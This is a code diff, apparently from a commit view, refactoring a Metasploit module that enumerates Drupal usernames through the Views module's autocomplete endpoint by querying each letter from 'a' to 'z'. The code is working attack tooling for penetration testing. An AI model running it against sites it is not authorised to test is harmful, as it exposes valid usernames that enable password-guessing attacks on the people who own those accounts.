@@ -35,43 +35,37 @@ module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
35
35
36
36
register_options (
37
37
[
38
- OptString . new ( 'PATH ' , [ true , "Drupal Path" , "/" ] )
38
+ OptString . new ( 'TARGETURI ' , [ true , "Drupal Path" , "/" ] )
39
39
] , self . class )
40
40
end
41
41
42
- def check ( base_uri )
42
+ def base_uri
43
+ @base_uri ||= "#{ normalize_uri ( target_uri . path ) } ?q=admin/views/ajax/autocomplete/user/"
44
+ end
45
+
46
+ def check_host ( ip )
43
47
res = send_request_cgi ( {
44
48
'uri' => base_uri ,
45
49
'method' => 'GET' ,
46
50
'headers' => { 'Connection' => 'Close' }
47
51
} , 25 )
48
52
49
53
if not res
50
- return false
54
+ return Exploit :: CheckCode :: Unknown
51
55
elsif res and res . body =~ /\< title\> Access denied/
52
56
# This probably means the Views Module actually isn't installed
53
- print_error ( "#{ rhost } - Access denied" )
54
- return false
57
+ vprint_error ( "#{ rhost } - Access denied" )
58
+ return Exploit :: CheckCode :: Safe
55
59
elsif res and res . message != 'OK' or res . body != '[ ]'
56
- return false
60
+ return Exploit :: CheckCode :: Safe
57
61
else
58
- return true
62
+ return Exploit :: CheckCode :: Appears
59
63
end
60
64
end
61
65
62
66
def run_host ( ip )
63
- # Make sure the URIPATH begins with '/'
64
- datastore [ 'PATH' ] = normalize_uri ( datastore [ 'PATH' ] )
65
-
66
- # Make sure the URIPATH ends with /
67
- if datastore [ 'PATH' ] [ -1 , 1 ] != '/'
68
- datastore [ 'PATH' ] = datastore [ 'PATH' ] + '/'
69
- end
70
-
71
- enum_uri = datastore [ 'PATH' ] + "?q=admin/views/ajax/autocomplete/user/"
72
-
73
67
# Check if remote host is available or appears vulnerable
74
- if not check ( enum_uri )
68
+ unless check_host ( ip ) == Exploit :: CheckCode :: Appears
75
69
print_error ( "#{ ip } does not appear to be vulnerable, will not continue" )
76
70
return
77
71
end
@@ -83,7 +77,7 @@ def run_host(ip)
83
77
vprint_status ( "Iterating on letter: #{ l } " )
84
78
85
79
res = send_request_cgi ( {
86
- 'uri' => enum_uri +l ,
80
+ 'uri' => base_uri +l ,
87
81
'method' => 'GET' ,
88
82
'headers' => { 'Connection' => 'Close' }
89
83
} , 25 )
0 commit comments